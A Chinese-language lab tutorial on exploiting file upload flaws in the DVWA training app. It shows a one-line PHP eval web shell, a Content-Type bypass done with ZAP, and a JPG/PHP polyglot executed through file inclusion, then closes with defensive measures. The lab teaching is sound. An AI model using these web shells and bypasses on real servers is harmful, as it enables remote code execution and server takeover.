我们注册论坛时,常常可以上传自己的头像,但是如果控制不严,不法分子就可能利用这个途径上传可执行代码,引起安全问题,这里就是文件上传漏洞。
DVWA实战
1. 打开phpStudy或xampp,运行Apach和MySQL;
2. 浏览器进入DVWA主界面,在左侧栏选择DVWA Security安全等级为Low,然后进入File Upload;
很常见的一个上传文件的界面。
3. 虽然提示让我们上传一个图像,但我们可以试试是不是可以输入其它文件格式,例如php文件,如果能够上传成功,我们就可能可以调用它。构造如下的hack.php文件:
<?php @eval($_GET['cmd'])?> //eval() 函数把字符串按照 PHP 代码来解释
然后点击上传,我们发现成功了,而且还返回了路径!
../../hackable/uploads/hack.php succesfully uploaded!
这样我们就可以控制cmd参数来让服务器执行我们的代码,浏览器输入如下URL:
localhost/DVWA-1.9/vulnerabilities/upload/../../hackable/uploads/hack.php?cmd=phpinfo();
这就是著名的“一句话木马”。
4. 接下去我们把安全等级调为medium,上传同样的文件,发现报错:
Your image was not uploaded. We can only accept JPEG or PNG images.
提示只接受jpeg和png文件,查看后台源码,发现对上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB)。
// Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) {
一个简单的想法是,把我们的php文件后缀名改为png,这样能不能行?可以尝试以下,结果是文件虽然能上传,但当我们调用上述方法...hack.png?cmd=phpinfo(),发现执行不了。那换一种思路,可不可以绕过后台的检测,把php文件传上去?换言之,后台是怎么判定我们上传的是图像文件呢?后台源码告诉我们取决于$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ],我们采用第2节暴力破解中的ZAP工具抓包看看(ZAP安装使用见4.2节):
我们发现这里的Content-Type不是图片格式,于是我们可以修改这里,让它顺利通过检查上传。利用ZAP修改请求报文也很简单,点击图片中最上一栏那个绿色圆形按钮变为红色,浏览器开启代理后所有的请求都会被ZAP拦截下来,直到我们修改或确认后点击绿色按钮旁边的继续按钮。通过这样的方式,我们顺利上传php文件,可以被我们调用。
6. 接下去我们看看high等级的文件上传,采用上面的所有方法都行不通,查看后台代码,发现不仅对文件类型,也对文件名后缀进行了控制。
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
那样的话,似乎就无计可施了。这里要介绍一种“内涵图”,能够在图片中隐藏php代码:准备一个图片文件1.jpg,然后把<?php phpinfo()?>写入2.php,利用windows的cmd命令执行如下语句:
copy 1.jpg/b+2.php/a hack.jpg
然后把hack.jpg上传,我们发现上传成功了,但是当我们在浏览器输入这个文件的url,显示的却是这张图片,怎么才能让里面包含的代码被执行呢?
这里我们就要结合上一节提到的文件包含漏洞,让服务器执行我们上传的可执行代码!我们追加page的参数为:
file:///E:/Development/KPlayer/Web/PHP/phpStudy/WWW/DVWA-1.9/hackable/uploads/hack.jpg
提交后惊喜的发现在一堆乱码之后,出现了熟悉的phpinfo页面。
7. 最后我们来看看impossible等级,发现这种方法也不行,查看后台源码,原来对上传文件进行了重命名,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; ...... // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { // No echo '<pre>Your image was not uploaded.</pre>'; }
实战心得:
由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过文件上传漏洞上传木马等操作,危害服务器的安全。对于这种漏洞,一是阻止非法文件上传,一是禁止其运行,例如通过文件重命名,压缩重生成,对存储目录执行权限控制,或者存储目录不放在web中等措施。